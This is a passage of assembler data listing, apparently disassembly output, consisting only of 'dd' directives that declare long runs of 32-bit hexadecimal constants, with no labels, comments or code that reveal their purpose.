		dd 51ECD4A4h, 886F5581h, 0B4BF2C52h, 96E92F68h,	0B0D76B42h
		dd 0C48BF7FBh, 408F53h,	0F31D09BAh, 0D1D0F466h,	8139B87Bh
		dd 7D629B83h, 0D8094D60h, 23015Ch, 4AFDEAC4h, 0ED1C79E7h
		dd 846C2F9h, 0F66690EEh, 48120151h, 37E9D089h, 5A246FF8h
		dd 4D575C83h, 30610C7Eh, 0F6EEFBB8h, 0CB06EF6h,	3C20CA1Eh
		dd 0C628FE29h, 835F3F08h, 961401B0h, 7339B26Bh,	0F1482D68h
		dd 0CAB81B2h, 6A58CF9Ah, 0DA1022B3h, 0E1AC5B2Ch, 0C200A85Bh
		dd 7F311268h, 0E9258214h, 52B45207h, 0BD13C8CAh, 5FF3E355h
		dd 0B60518C4h, 67BC4039h, 0AB525C13h, 49AEDE27h, 50B90758h
		dd 39E9E890h, 0E8469516h, 0A1C02A4Fh, 1DB7C680h, 8F06E6C0h
		dd 0EE2163F6h, 70F428EFh, 0D676C2F9h, 0A9E9E216h, 31134BE9h
		dd 272E8DF8h, 0B7AF1222h
		dd 0B75A14B2h, 49E9165Ah, 0A06E66F1h, 52568A4h,	0BC7667Eh
		dd 4F8562FBh, 9DE01A52h, 0E9B07A09h, 0F73C62F6h, 51AD8B65h
		dd 0AE720C5h, 52583A34h, 82DD20C7h, 0C2840908h,	5863E612h
		dd 862D4554h, 137F8FE8h, 0BB5E1800h, 72EA6EA7h,	0A2CB4A29h
		dd 0D40392EAh, 48FCF3E9h, 683BF03Ah, 0D3B65C30h, 9CA02703h
		dd 4CBDF2EBh, 22587243h, 1E200411h, 0BD054E54h,	865B3419h
		dd 14091EBh, 5CDD70C8h,	66DD26DCh, 184EE824h, 16F7BE3Dh
		dd 0AC5EBF02h, 634725C5h, 18154F75h, 6AAF54F0h,	0C20F3D27h
		dd 43046001h, 736F9FD6h, 94ED1A5h, 79FC52DCh, 84E4F55Ah
		dd 0E98044FAh, 40CE4EA1h, 626495C4h, 74BC01ACh,	778A130Dh
		dd 3DF8FA04h, 0ABC44F8Fh, 8053BB70h, 1782BE94h,	4F7774A2h
		dd 0BF0E6805h, 0D46EBE8Bh, 0F95EA4D2h, 84BD6EC6h, 0BC6C4B8Bh
		dd 925DDFDCh, 0C1295165h, 2052C388h, 879FDC9Fh,	0D5ABE1BEh
		dd 4A476302h, 92007F09h, 3AB7535Ah, 904B5BF8h, 4054998Ch
		dd 0D09D5DC4h, 0A35648C1h, 0EC5C6725h, 5BB37D63h, 0F59DB010h
		dd 1AE72D17h, 0B55826EBh, 51C70404h, 38854B8Fh,	0AA0E12FEh
		dd 9F4DBD9h, 4C4CDDFBh,	5F0A52F4h, 4FF4F1B7h, 11FE5EDh
		dd 7F6C22A4h, 6F16C940h, 0D7503157h, 0EB97844Ch, 40492DCBh
		dd 1327B35Eh, 6E44E7E9h, 4E911CF6h, 0C336A2CEh,	0B8823612h
		dd 0F9E5A495h, 0CBAD0721h, 0CDD7DFE2h, 9CE90912h, 0E6888640h
		dd 3858584Ch, 0FEF32D72h, 2DCA284Fh, 0B3E62110h, 0DE685609h
		dd 7816DE5Dh, 0CCA862E9h, 32178A2Dh, 2DBF0FE5h,	77DA118Bh
		dd 981A38CDh, 0A622CE70h, 0D3313DCAh, 0A29B8213h, 3FC386B1h
		dd 691F2073h, 0ACA968BFh, 0D1F780E6h, 41A9079Dh, 6695D5B4h
		dd 55BE0F16h, 0A1718226h, 493B1CD2h, 0E52FCDE8h, 0A90FFEE9h
		dd 5714D237h, 65605256h, 9F5BC842h, 62697E70h, 418FDF0Fh
		dd 69DA778Ah, 7F173CF1h, 5ABE52C0h, 70736241h, 0FA258912h
		dd 1C2522EDh, 0E75D4942h, 0C402A508h, 0F96C0D1Fh, 0CC2AEA0Bh
		dd 6FED002Fh, 1B7D5530h, 61A944E9h, 0D1455DB2h,	3D3C6885h
		dd 0E20596B3h, 0BA63414Bh, 6A52340Dh, 74B83A50h, 6D462D2Dh
		dd 571D4F2h, 0B9544B0Fh, 2307BE09h, 0CAB05C73h,	0F6BF915Fh
		dd 0E95816C6h, 0E91852A7h, 400510EEh, 3265680Bh, 278AE971h
		dd 0D953F88Dh, 8A7A8C64h, 9EE3B69h, 0FF657B3Fh,	2F089628h
		dd 752DF883h, 0E3E84AABh, 0CF786F4Ch, 3CC7C176h, 0A9BF79EBh
		dd 0F83989C0h, 3E6DB71Dh, 4D1DE984h, 75E18CFBh,	6B29F3A9h
		dd 553ECEF3h, 0B807C796h, 0D2B8A0EEh, 95517A61h, 3500A558h
		dd 6EAB747Ch, 24F03E2Dh, 2739DA38h, 0D8096BE0h,	0DB25B54h
		dd 97540200h, 19553579h, 1D33F14h, 4D44E25Bh, 1968C3E3h
		dd 12B7190Bh, 3FEEDDDCh, 0D8A572E5h, 4AAE2BDCh,	96EDC052h
		dd 27DF662h, 0E95AD621h, 16FD6E0Bh, 5F11ED02h, 0C2678150h
		dd 208B408Ah, 0A36132ECh, 0C766074Fh, 0D2352952h, 56D425B1h
		dd 822A9287h, 3926DEFBh, 134C2A6h, 64DC5CF2h, 0CE12D95Eh
		dd 0ADF498DDh, 1CE3044Ah, 0D37A73E9h, 835B1ED6h, 41136FA9h
		dd 0A4BD655Ah, 6D40630Ch, 69D57721h, 0EA2B4119h, 59936E45h
		dd 4A062CFEh, 751DD40h,	0C180E4B1h, 2C27D063h, 0C8762895h
		dd 849E9E8h, 0CB010919h, 5987DC59h, 0F873C3Ch, 0FE8815B4h
		dd 12459753h, 1BA4959h,	4D200A5Ah, 0A2E56078h, 38B70612h
		dd 0E09F04BBh, 12AB1342h, 1CA1049Eh, 612D0132h,	0D1F3392Ah
		dd 901BD37h, 824463C3h,	0D6C533E9h, 0F668D89Dh,	8CE9354Bh
		dd 4FB3E9B3h, 33354407h, 0FD19A5B2h, 0E1FA9F84h, 0DDB67BAEh
		dd 0BC21E9C4h, 0FDAC4F40h, 527A4A1h, 6478E801h,	0E2251AAEh
		dd 0DDB129F8h, 389882B9h, 47FFD82h, 90FE46AFh, 32E18C49h
		dd 6809AB27h, 2F54254Dh, 0DED94B18h, 0E93AF92Fh, 30161BE8h
		dd 89F68AA8h, 14DE420Bh, 5E185821h, 194A3C3h, 74B05664h
		dd 179F45E9h, 9964F452h, 8C97025Dh, 82F2A6E6h, 18C62F14h
		dd 25450208h, 5D5E539Bh, 93890345h, 50EEFC3Ch, 0B981D4DFh
		dd 7A0C4CECh, 0EAD13660h, 4E019E87h, 5562CF06h,	0F5CBC589h
		dd 0C008B10Bh, 1C83B600h, 0DF80DEF6h, 57A20CCCh, 1A09F5A5h
		dd 85693964h, 0CCEE2705h, 7E14093Eh, 309318F1h,	83583071h
		dd 0BE6C5C2h, 68FFECDh,	84700238h, 6F8AE912h, 7AB3A188h
		dd 0FD0D5D3Dh, 8DF35F25h, 7513F600h, 37E93199h,	6277C9DEh
		dd 11D54723h, 0A36D3CBCh, 0A8B2005Bh, 0CC80C4FEh, 0F40BDA60h
		dd 0B0E4C025h, 4CB60B73h, 4A4118E9h, 80D92030h,	0EBE605E6h
		dd 51F3D8F9h, 7C5F2C27h, 0AA9436BAh, 9683BCBDh,	0C3708814h
		dd 1DC45114h, 5F40011Ch, 0AEFEE8B9h, 59E79AA0h,	0BE03E9A4h
		dd 2D0E71E0h, 61A5EC00h, 0F7896BB1h, 9BD02DE9h,	38300799h
		dd 95A95E14h, 0DF49C388h, 27671480h, 0E93125E5h, 230441D8h
		dd 0E5C688F4h, 0FAF7FA71h, 0E74EF72Ah, 0C79460F6h, 0E62FE25h
		dd 5BA16857h, 805F19FCh, 0C2436CCCh, 6105E930h,	87662A81h
		dd 29252AFAh, 0E66431F6h, 44DAD1ACh, 0A666484Dh, 6824774Bh
		dd 0DAB0D3BEh, 7AE9DD0Ah, 5D9A18FAh, 0AE557EFh,	4B88C627h
		dd 13ACBC66h, 75FE6C89h, 947E7D1h, 7C2B50E9h, 14F97B05h
		dd 70F33B93h, 10EEC618h, 0C1E4C831h, 917C8BB8h,	0DC3C6225h
		dd 9CE560CFh, 71B0CE17h, 0DE6F6CBCh, 78538700h,	6EFDE9F1h
		dd 0ACF7FFBDh, 2A7B5548h, 0B63A72E1h, 5A898945h, 9E681096h
		dd 0D3E90C45h, 985F0A3Eh, 81BE40AFh, 40A1E706h,	240C0A5Bh
		dd 3EED037Ah, 0E2FBC702h, 22D506DAh, 0EC38A6ADh, 0E9CAF362h
		dd 68FD406Bh, 5856AE24h, 1925B75Dh, 0CFD7D342h,	2C539AB0h
		dd 76BB00A0h, 795C0F72h, 3F2E1DC7h, 440C4618h, 328E2F33h
		dd 51957A58h, 0C15A69DAh, 55FA6812h, 0B81048DAh, 0E2D11787h
		dd 6882E9E2h, 460301h, 0FDF51C9Fh, 0EE47562Ah, 2913232Eh
		dd 0AB65FAFDh, 696D9AEEh, 0F721926Bh, 0E9761246h, 12743A5Bh
		dd 3243412Bh, 0AD71BC4Eh, 0C2AF33Fh, 171839E9h,	3DDB0CF5h
		dd 0C10C56B4h, 259D0C14h, 0EC9F05A2h, 2388C4ADh, 0E4344AE0h
		dd 80BEC01Bh, 637BB980h, 60F71ED7h, 0C98104D9h,	88365A9Eh
		dd 4D3A1027h, 1F8403AEh, 0F8C553F4h, 92078D02h,	0D754427Eh
		dd 0CF294CA3h, 8F78A7EAh, 0DC5A5425h, 0F92CCF7Bh, 5B95E247h
		dd 0D3CA1FD9h, 0EB521F1h, 0B720C972h, 538080E2h, 0F05A44F8h
		dd 0E907A0F2h, 2522F3CFh, 1FBC6809h, 45969BD5h,	1751621Ah
		dd 163F5FE9h, 0ACE285F7h, 0D2E9E133h, 5258DA24h, 0A24ED456h
		dd 61D2C424h, 0F44BD00h, 2134477Ah, 0C10673EEh,	1B20F3C5h
		dd 708E1C0h, 0A2D5A3DAh, 0FD656A37h, 0B6F54D1Bh, 0BD141039h
		dd 0F9215805h, 85CF445Fh, 5CCCEA9Ch, 43C35831h,	60D7832Ch
		dd 2C78BFBBh, 0E2C0485Bh, 2743D3F7h, 0C6F4E5E9h, 0B9EC527h
		dd 0BA505268h, 0E9C770B4h, 0F1EDF284h, 60F70620h, 134E5861h
		dd 0DA0918ACh, 57252DE9h, 0E882C05Ah, 114A3915h, 0F59E1A45h
		dd 0BA6F4FB3h, 37C0646Bh, 590C6855h, 2E5D3C01h,	0BEB5405Ah
		dd 162454F6h, 8602AA36h, 401BB37Eh, 2F1EC840h, 0DADE2F8Eh
		dd 1CD008A0h, 0E8497514h, 47B2039Bh, 9B03E2C0h,	506699EAh
		dd 0D24C0AFCh, 5E69B666h, 1F075F01h, 0F7601EBFh, 0C13E05B0h
		dd 0F5EAE929h, 440C9607h, 0B1D27027h, 4C5871A1h, 56692DCCh
		dd 0BBE0F67h, 5DF0428Ch, 0FA897965h, 6B6268A5h,	80C128FEh
		dd 25C8E0B8h, 0A8615A59h
		dd 890E70EDh, 0BF288B5Bh, 5F208419h, 0E3D10449h, 0C003EBC1h
		dd 0E84E71E4h, 0C2E92B0Bh, 0B9A2F6B3h, 6866DA02h, 10FF4304h
		dd 972D297Eh, 0B38B53DBh, 0E4BC8613h, 42E56920h, 40D9C9D8h
		dd 0EE42282Eh, 6F44DD8Ah, 80C9FE07h, 0F7E9D5E9h, 0E13A6D05h
		dd 0D7B63F4Ah, 8408B9D2h, 5E09DD6Dh, 0BA21205Fh, 0BC13742Bh
		dd 4176A79Ah, 0F2585C2Dh, 84DDC04Ah, 0E5CB2701h, 33259548h
		dd 9F687B01h, 9CA32B1Dh, 503D247Eh, 0CD686119h,	0C4953C22h
		dd 4B0B5BCFh, 971805DFh, 0AEC256FFh, 5DBF6F53h,	5A08108Bh
		dd 14085695h, 2095206Dh, 0C6EC88CFh, 70EC0179h,	0CEB55139h
		dd 0F6C078C7h, 4B11E968h, 0B11AB819h, 2B09BE56h, 88BE3E35h
		dd 0FD652DACh, 0A717F99Bh, 0B55F60A4h, 0E9890B67h, 0BF6760AAh
		dd 9A61176Bh, 1DB7AC3Dh, 0BFCB850h, 4101F2E3h, 903F322Fh
		dd 21F7EB28h, 0AD79573Dh, 0C1C9E807h, 0D63C14D3h, 890E811h
		dd 0BFC72D75h, 3248F4F2h, 0B047208Bh, 3BAD39CEh, 0F90C6D30h
		dd 804A5558h, 47F55BCh,	84160EDh, 0F0D3846Ch, 294B6667h
		dd 2668E9E4h, 10463CE6h, 2F5C24BDh, 0C0F0F745h,	9FEF5C01h
		dd 336D260h, 0B6CB4CC3h, 8B8AFE8Eh, 82FC6038h, 2D685050h
		dd 47990977h, 3D47E8ACh, 0B04E4D94h, 9B3EBF02h,	0C0F5939Eh
		dd 0BFF80942h, 0E919B69Ch, 780B07C1h, 0F2AE8254h, 3E2B449h
		dd 0B1DEA94Eh, 58722296h, 1316CD9Eh, 86213E0Ah,	0E62BC083h
		dd 7BEE6656h, 0C8D92631h, 1B6182D6h, 705D186Fh,	8EA425B0h
		dd 959884D1h, 900A8B67h, 40DD4EA6h, 924FB266h, 0F5F90107h
		dd 2B1475D6h, 452AF88Bh, 4E9190D5h, 37D9D862h, 58E1281Ch
		dd 9B16442Eh, 1AE0248Dh, 0B5EE9FB5h, 5A09FC95h,	0C289951Ah
		dd 0ECB71B6Ch, 0C8535F7Ah, 56585BA8h, 1E1A028Bh, 0D589782Ch
		dd 82F3E484h, 3103E09Dh, 94B4BFFBh, 0CA66AAB2h,	0C01060Dh
		dd 88CDB753h, 96325BFEh, 7BEADA10h, 0BD5AF53Eh,	0E21727C5h
		dd 73995F9Eh, 0BC133FFBh, 0C5CA28AFh, 20E9EFC2h, 0FA5FA909h
		dd 6F5B25EAh, 0A583CA59h, 0E949BB63h, 0D250FC30h, 721A7CC3h
		dd 906D98FDh, 2D7A0630h, 0E2313A26h, 5B945F74h,	71970D51h
		dd 1C031929h, 7910E4F0h, 0DCEAC09Dh, 88519443h,	60252893h
		dd 44A677Ch, 0F6B812F5h, 2DEF8081h, 0B905223Ch,	5D0292Eh
		dd 2597071Fh, 10931105h, 5C9BC2A0h, 0B2D3859Ah,	6B84C271h
		dd 9C88E053h, 7AC389DFh, 7B459957h, 0EA8DF928h,	92B8F56Eh
		dd 11B7581Fh, 0FE2FE93Dh, 9B339414h, 0F8F61745h, 900C8F61h
		dd 4DCD0BC8h, 0A9FF5DDCh, 0AB4A894Fh, 3E7653D9h, 22D92212h
		dd 95DFD88h, 7600FF1Fh,	0D294ADDh, 7FAFE910h, 8610534Ch
		dd 0AFD4AD5h, 694A6F05h, 80888051h, 0EEA0780Dh,	78B4BD0Ch
		dd 0F534D860h, 9544F028h, 100BCC1Ah, 79D4E1EAh,	77E38E9Bh
		dd 87904A66h, 4523C2B7h, 5984446h, 0BF051840h, 340ABF51h
		dd 3947128Ah, 0A90DC68Bh, 342050CCh, 726D0748h,	1BB3B85Ah
		dd 15E98001h, 0EC6F8A55h, 0BE58BA44h, 0F6A59F0Ch, 1FA2A81Ch
		dd 0A84B1617h, 275BEE60h, 0BDF1D828h, 2266F863h, 0B1C1B967h
		dd 57535854h, 0B721FEF0h, 0E666371h, 6D61DB0Dh,	2F027C30h
		dd 132DB4F3h, 0BC4B649Bh, 0A46503Fh, 98C9965Fh,	36D094E3h
		dd 4AC8015Bh, 1516FA05h, 5FA902EAh, 3C5C0DCAh, 4D6E642Fh
		dd 0FE121710h, 1018B1C8h, 7205BE85h, 810AB803h,	0A241D4CEh
		dd 2FC3DF30h, 0A408123Ch, 0F6071279h, 3E3C06ACh, 0B4F55B4Dh
		dd 0B403C177h, 212B63C4h, 326C3BC8h, 8E3A34Bh, 3F37F268h
		dd 3BAC591Bh, 6F165FD9h, 0A0964FE2h, 107E71Eh, 0F1811A41h
		dd 70AC7A41h, 0A4B2443Fh, 204CCD55h, 7971EFCDh,	12B057Eh
		dd 0F03CF10Eh, 0D2FB6948h, 44F8808h, 985D1168h,	22109AFFh
		dd 35607BA5h, 0E551B6BAh, 5AEB3850h, 0BF04E492h, 3C2C6C36h
		dd 48C091BBh, 0CFCC6AEEh, 16231FCBh, 227E832Ch,	3BA858F8h
		dd 1E4C6F0Ah, 72D2853h,	0CDBD5501h, 81231268h, 247658D4h
		dd 2E372D5h, 0E520A3A1h, 5A9383F5h, 26F69805h, 7CE9120Bh
		dd 555FD43h, 34868CEh, 0D9F4CC0Bh, 2D99CA8Ah, 0BEACE5DEh
		dd 2E0BD512h, 8440969h,	92280872h, 0D3CF5258h, 2B179CA2h
		dd 0DC2FB53Fh, 929DB1BAh, 0BE1057B8h, 0EAA64FAFh, 5954E090h
		dd 0D34CF7D7h, 76882DE1h, 4AFC3E49h, 0F5B67540h, 0E9F130CDh
		dd 581D2C20h, 773B6F21h, 2DC6CBCBh, 0DA3BDE1Ch,	6805C87Bh
		dd 0FB656F71h, 0C58930EBh, 7710BA0Bh, 841FB01h,	5FE0322Bh
		dd 0C6590F54h, 88EF932Bh, 0C7C5FAE5h, 31FE04EBh, 2C3305BFh
		dd 685322AAh, 5D9BEAD5h, 97D7521Bh, 8265B9A6h, 338B539Fh
		dd 0EC31DF05h, 527308A3h, 4B25B442h, 23252DF0h,	35CDEB5h
		dd 3B224C87h, 25D45204h, 9AA5BF9h, 8AE03ABBh, 0EDA0EF88h
		dd 9BBD9548h, 6446CA71h, 786798DDh, 0F7BA80A2h,	76955A25h
		dd 88421466h, 0D6687504h, 0E1728764h, 0D91B972Dh, 0C1F8DB76h
		dd 3B1D4E72h, 28BC0154h, 68D208E9h, 1BA88BABh, 0ECDF3CD2h
		dd 60F7F152h, 0D1BDE211h, 41EEE252h, 0E666C45Eh, 6803BC11h
		dd 4BB217A7h, 0FAF85BBFh, 2D3F520h, 5FFB6851h, 0A5FC2814h
		dd 1626F039h, 0A8A0410Eh, 2A60500Ah, 6138836h, 4F1234E3h
		dd 0D6DBA9ACh, 2D0461AAh, 4AC806A0h, 0F3589069h, 6A06D3B5h
		dd 5BDE89CDh, 65B920A2h, 4386678h, 58C201F6h, 0FE8DCA80h
		dd 94DFE9CCh, 0E291BB3h, 24D6ACC4h, 3B70525Ch, 0A92BE142h
		dd 4B169F18h, 0B66A06A1h, 2EF8933Dh, 0F1FFEC5Bh, 0E27A7580h
		dd 60EC4E85h, 58C38312h, 99E90446h, 0B8249460h,	4CD09897h
		dd 0D90449CFh, 805EE23Ah, 3668D57h, 0F1E92A17h,	9551EC7h
		dd 2FDADD50h, 25E4DED6h, 1A29307Eh, 21734569h, 40E608C9h
		dd 0FCD83109h, 8E56250Dh, 9CCDCAFh, 7930C065h, 7362AD68h
		dd 7A2A95DDh, 34D30B41h, 5E403840h, 681D5250h, 17D20994h
		dd 21E27100h, 2D65FA27h, 3978D6E9h, 744B38B4h, 473025Ah
		dd 0CAFF3F3Dh, 0BC080ADEh, 75A90D13h, 7AF568C2h, 958D9C7Dh
		dd 0C9066E4h, 0F525FDBCh, 0C338CF16h, 0E92D7369h, 0D231890Dh
		dd 68591749h, 1D31BB4Bh, 0FDCAC4E9h, 0A5C9FD1Bh, 0D6E97420h
		dd 4031557Fh, 47EADD91h, 0F7CB743Ch, 52BFAE25h,	3A459654h
		dd 4F4E9420h, 94B48759h, 0FABB85Bh, 0ACF0158h, 0EB051C71h
		dd 0A9C0B850h, 0E352CACh, 5FC0661h, 0E94B0F3Fh,	0BCD870FAh
		dd 0E94153BDh, 6811A16Eh, 0F104FD7h, 0D22475B1h, 0E381843Fh
		dd 405A0EBCh, 9002C370h, 2734EECFh, 0E9419764h,	62123FE3h
		dd 2F2ACBBEh, 208FEC50h, 89B76F2Bh, 59A4A419h, 0C3C6F3EDh
		dd 0EB1F81DAh, 859EC905h, 4D8221D2h, 74E77F5Fh,	7EB35ABEh
		dd 5ED72710h, 0E1102EACh, 0D8F70EA7h, 0AE052040h, 48A67241h
		dd 0E0277E29h, 0C57F3A42h, 489BA2C0h, 0E705CF56h, 0EB6F6960h
		dd 5C3EE702h, 0AD20D766h, 7E9878D5h, 646F0CC3h,	0CDACC55Ah
		dd 0B89EC4Bh, 71202168h, 707D802Bh, 52460A22h, 396AE924h
		dd 0E5D1FBADh, 60F39952h, 597CD2Eh, 0F1E9575Bh,	5129E9B1h
		dd 0E4BEB9D7h, 66C025FBh, 0F3671CABh, 73CE5889h, 87F9B02Dh
		dd 0D455C8E9h, 0CBAEA959h, 97025ADCh, 0B1209766h, 0C7881CBEh
		dd 873CCB58h, 0B298C596h, 5B3E9D20h, 0F26868Fh,	0D0F75E17h
		dd 8CF112EAh, 4340C138h, 0E73B48B3h, 0EB9FC539h, 80D15732h
		dd 3E63BB22h, 435DE612h, 2EE543BBh, 0AF9DF31Fh,	955C8CCCh
		dd 30BCF851h, 36F1F3BBh
		dd 0A10828B8h, 4595E86h, 0FFFA0D5Eh, 1416058Fh,	5080E7C1h
		dd 74048B00h, 7AE97641h, 44E8CE94h, 7943A2D3h, 82E03E59h
		dd 0FC4A492Dh, 3FDFE8C8h, 0C784680Fh, 8FE95F02h, 0CC93756Ah
		dd 0CBEC8898h, 0E67E5661h, 29D98277h, 129FC42Ah, 4A4BB408h
		dd 0DDF5CF4Dh, 49162ED1h, 3FE3B285h, 65D81756h,	815E6300h
		dd 0B5CE3CEh, 7FE911E6h, 6905BA29h, 7C5DB1EDh, 23F12498h
		dd 1C01604h, 83852A81h,	0AB5DEB12h, 4FA250CCh, 7A0A2CB7h
		dd 53A185F1h, 40869FB7h, 0A95E4E1Dh, 4E550599h,	0ECE86F6Dh
		dd 84168C2h, 0E72DE36Ch, 0C29613DFh, 5803D07Eh,	5D16049Dh
		dd 1048B93Dh, 5F09F3A2h, 2185DA01h, 0BBCE43C1h,	2E8252F6h
		dd 4D518060h, 3173573Bh, 50A93ACBh, 0E95AF02Ah,	659FCC76h
		dd 0D973A74Dh, 0C880D665h, 592AE97Ah, 79580B9Bh, 0EFE7102Ch
		dd 9171DB44h, 712857ACh, 0E7D96159h, 626168D1h,	0B77F37D5h
		dd 2766FD03h, 9B7AFCC8h, 2F9EF897h, 6E2B3CE2h, 0F225070Fh
		dd 0D3AF5F11h, 4F8EB884h, 0F4CFF562h, 2B2969A5h, 0D34C9675h
		dd 6314FE21h, 66E825ADh, 80C37C94h, 0B12D5BFh, 9C0016C2h
		dd 6C4F1BC7h, 86A9401h,	5B174C41h, 680128AAh, 0FC1F290Bh
		dd 0ECD1056Eh, 5A9061B9h, 1D053694h, 0BE0F5449h, 805E5D4h
		dd 0DDA23FE9h, 582DC509h, 0D4F40202h, 1C736801h, 1075B32Fh
		dd 0BB585525h, 3305F800h, 313AF30Bh, 58DF1861h,	0BB389EE9h
		dd 6EFC001h, 2A2AC780h,	0D434BEC2h, 6871627h, 0BB88829Bh
		dd 29255FFCh, 9F94F7F3h, 7B0E5696h, 0E6C1420Bh,	50C95D05h
		dd 76C7C2Ch, 0DDF6CDFEh, 0EFC545h, 0BFF5805Fh, 2390E830h
		dd 0E7AD8634h, 0D5C3BE1Eh, 17CF89F0h, 0CC2AAA1Ch, 0BB0453DFh
		dd 21C177A0h, 21A4C7EAh, 0EA762CBDh, 24C49380h,	892C0D0Ah
		dd 8E15DFDAh, 510C00E5h, 0EF81480Eh, 3F081333h,	16B1ACCDh
		dd 6B08DD89h, 0C7792DCFh, 1387DF0Ch, 9FD9EE56h,	0F680D480h
		dd 0F0243065h, 0FD9CFC5Ah, 3F2F817h, 0FF3EE9C5h, 0D207CA20h
		dd 29CE27B5h, 0EF16C87Ch, 5EA6260Bh, 2305E9F9h,	0AA1B00A5h
		dd 310B4416h, 2D59C800h, 409A6AA2h, 63E6BF53h, 1B163590h
		dd 0D10F7010h, 5E2D30B6h, 0D2928651h, 351AB4A9h, 0B45D203Bh
		dd 0BEE92FBDh, 0C5295BC0h, 685D9506h, 2DD74126h, 7D64598Ah
		dd 3BA498B0h, 275EF298h, 514C0BE6h, 0B817644Fh,	561C98CBh
		dd 0EC5E5F52h, 343126DCh, 0E908F218h, 4C2662EFh, 0A6DC4BB4h
		dd 26CB3012h, 2EEC000h,	29B65251h, 0F197E913h, 0A33F7029h
		dd 84B39786h, 40EEF340h, 4EEC50BDh, 754189BFh, 57822565h
		dd 0D24247E9h, 2E1F218Fh, 8FFA4CB1h, 3CEE8000h,	174B0498h
		dd 7A1D5E8h, 0D9F60047h, 0E8509F80h, 2709CC9Eh,	0F827CB4Fh
		dd 9F3F34D8h, 0C2976F78h, 76105F36h, 5ADF1E29h,	0B044F1D9h
		dd 0F90E296Fh, 0A2C1F8D1h, 1920D3A0h, 91D76082h, 1710977Dh
		dd 539F3A27h, 0F092BD8Dh, 19A44174h, 7A445427h,	5557DA00h
		dd 1635168h, 4D5D642Ah,	75EB91E9h, 3269C4DFh, 0D313E8F7h
		dd 96DE57CBh, 60895CB2h, 0CCCF7717h, 732ED360h,	0F6071B06h
		dd 16367BFAh, 37C10F0Ch, 0E6801BB5h, 21AD3057h,	0BCD7E917h
		dd 6E73541h, 0B690DFF7h, 0D9BD0093h, 8141FB51h,	778409CDh
		dd 86401AADh, 825B065h,	9E1DA4Dh, 0A829214Fh, 1EC27F84h
		dd 47E307FBh, 12B24968h, 9D577943h, 0CB526E41h,	68126E94h
		dd 0A88C34F1h, 4920130Bh, 497077Ah, 3DE91146h, 6F259F17h
		dd 5BF1F6EFh, 88EC47B3h, 28CAC19Eh, 3F3E0405h, 57F79E4Fh
		dd 0C089E9CBh, 2E6ABE7Ah, 13B87559h, 5AF400C6h,	5874E915h
		dd 2E347C4h, 0F8DBFCE0h, 578140FDh, 10A7BF02h, 5D297835h
		dd 5E23C420h, 0FF807037h, 90CD209h, 29D8F344h, 2D288B98h
		dd 0A4B721D7h, 0B1BA0555h, 0A813EF0h, 50007104h, 0FE07F7B4h
		dd 5E4C0CCh, 8008EC30h,	81895FC4h, 2F0307EAh, 5E697992h
		dd 0A9350164h, 30747E0Dh, 7C0B60E6h, 0D62934D1h, 160820C8h
		dd 0BF2CF1E9h, 4E5CEB38h, 1349E266h, 172838AEh,	0C2B80150h
		dd 0C10FE826h, 0D0F7F0E0h, 2E2D480Bh, 0E9210137h, 0E27A65ECh
		dd 51118108h, 42854429h, 81580735h, 6CB74144h, 5701E2F5h
		dd 2C7C9B8h, 49648744h,	0FA962FF6h, 3CC7DA12h, 0E3F45F65h
		dd 14E76312h, 44B9EDB5h, 0A15728FCh, 0CB6EC6FAh, 30E04EB4h
		dd 12668291h, 3E8B2355h, 86B9122Dh, 91DD6D25h, 22A5C6E0h
		dd 97FA94D5h, 0E92432C4h, 0D9AD733Ch, 580B02FBh, 220E3DBEh
		dd 0DFF165E7h, 0FFFEC82h, 0C9A820F1h, 0E2D6440h, 72B55C1Ch
		dd 0A91AA6A3h, 8A0CC0CDh, 715EF5D0h, 2521E0A0h,	17FA58C1h
		dd 9048E970h, 0C85B7CA0h, 8812B0B6h, 0BEEA34DBh, 385943B2h
		dd 997EB005h, 8C30C06Eh, 0F0415CF8h, 476E70Bh, 4D1041EAh
		dd 0BE80FF2Eh, 123DF313h, 5DD69DE9h, 8340958Ch,	5BF92001h
		dd 0CC86E180h, 0E29FABF1h, 0BA68D793h, 0B20052B9h, 40B3537Bh
		dd 95BFE1E9h, 509518E6h, 0F77489h, 5D84C981h, 0EBE92369h
		dd 1846F84Bh, 0B9B334Eh, 5FE814EDh, 5C748942h, 0C7CEDB53h
		dd 5A32C1D0h, 0ACA9B76Ch, 0BC76FD84h, 48A7C08Ah, 0EAE918A3h
		dd 0BD81B25Fh, 8A12CA85h, 9104CABh, 824810E8h, 90C9F13Ch
		dd 0A8EEBC83h, 2E58B3E7h, 9335D40h, 34F70311h, 9FE9172Fh
		dd 7739EE76h, 0E4F73469h, 9A9BEA34h, 1EF2CB10h,	43C91FB8h
		dd 3FD0453h, 642D47B8h,	0D7B9F800h, 5750D042h, 6FFB83BCh
		dd 50649080h, 0C27F4B73h, 637EE67Eh, 2C225427h,	6804306Dh
		dd 0A5A65502h, 3798A4A0h, 69225B95h, 48795354h,	0A350A978h
		dd 0D2C550CAh, 3409014h, 186F07A2h, 440DAF7h, 2013C1A0h
		dd 17FB19F8h, 8762BA2Ah, 0A2A578A8h, 4DE55D7Ch,	538FE9A5h
		dd 89C41238h, 803583D3h, 5866871Dh, 6B82F58Fh, 828242DDh
		dd 0A9E185Ah, 0B501368h, 127A03F4h, 3EE96E15h, 15BE0E95h
		dd 78FA2986h, 955679D8h, 2916E1FEh, 0F10B9B8h, 30580A73h
		dd 133E4FD0h, 0DC908AC5h, 601044A2h, 334D0C3Bh,	314FFB56h
		dd 0BC4A36B6h, 9BE90BA5h, 7DE630EEh, 77C69D9Fh,	40CBEABDh
		dd 3B3E134Eh, 0E7062209h, 0BE2A3B50h, 4BA45C59h, 874137DDh
		dd 97817D65h, 141BDFC2h, 2D04037h, 49986658h, 517F7125h
		dd 0EA224BEFh, 3FDE9C46h, 0C8858E5h, 268D945Dh,	0D2F601CCh
		dd 822FF521h, 5B16880Ch, 76BFF054h, 0CFFD122Dh,	45661472h
		dd 0B951D000h, 1DE22671h, 0E2BDE92Dh, 86F157A0h, 0DD5692A5h
		dd 9A20EB4Ch, 2DE69093h, 0C6D2BD59h, 6892BE04h,	0D1AAAED7h
		dd 625AD5CFh, 3E9C4BDh,	1BF75F0h, 765B4D2Bh, 36528268h
		dd 6CF50530h, 1388600Eh, 139809F7h, 0CC7F7555h,	0E0044A7Bh
		dd 3082125h, 0B890630h,	64A1F5E9h, 4342CA87h, 0FAE14CBBh
		dd 1CC74058h, 0E85BF1D0h, 9220F3F1h, 8A699E90h,	0A2886BB2h
		dd 0CC4154C4h, 7C751FB8h, 6057D94Bh, 0E42D3BC7h, 7BAC47F5h
